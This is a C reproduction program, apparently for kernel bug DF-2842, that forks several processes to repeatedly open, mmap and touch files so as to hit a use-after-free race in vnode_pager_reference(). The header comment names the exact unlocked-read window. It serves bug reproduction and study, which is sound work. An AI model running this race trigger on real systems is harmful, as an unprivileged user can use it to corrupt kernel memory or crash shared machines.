/*
 * DF-2842 reproduction racer - hammers vnode_pager_reference() via mmap().
 *
 * vnode_pager.c:203-210:
 *      if ((object = vp->v_object) != NULL)          <-- unlocked read
 *              vm_object_reference_quick(object);    <-- TOCTOU window
 *
 * The window between the two statements is the race.  A concurrent
 * vclean()->vm_object_terminate()->vnode_pager_dealloc()->vm_object_drop()
 * that reaches kfree_obj() inside this window leaves us doing an
 * atomic_add on freed memory (ref_count of a recycled vm_object).
 *
 * This program keeps the window spinning as fast as an unprivileged
 * (or root, for staged demos) process can.
 */
#include <sys/types.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

int
main(int argc, char **argv)
{
	const char *dir = (argc > 1) ? argv[1] : "/mnt/race";
	int nfiles = (argc > 2) ? atoi(argv[2]) : 64;
	int nthreads = (argc > 3) ? atoi(argv[3]) : 4;
	int i, fd, iter;
	char path[512];
	void *p;

	for (i = 0; i < nthreads - 1; i++) {
		pid_t pid = fork();
		if (pid == 0)
			break;		/* children fall through to loop */
		if (pid < 0)
			perror("fork");
	}

	iter = 0;
	for (;;) {
		for (i = 0; i < nfiles; i++) {
			snprintf(path, sizeof(path), "%s/f%05d", dir, i);
			fd = open(path, O_RDONLY);
			if (fd < 0) {
				/* mount cycled out from under us - brief pause */
				usleep(200);
				continue;
			}
			p = mmap(NULL, 4096, PROT_READ, MAP_SHARED, fd, 0);
			if (p != MAP_FAILED) {
				/* touch to force pager activity */
				(void)*(volatile char *)p;
				munmap(p, 4096);
			}
			close(fd);
			iter++;
			if ((iter & 0xFFFF) == 0) {
				fprintf(stderr, "[%d] %d iters\n", getpid(), iter);
			}
		}
	}
	return (0);
}
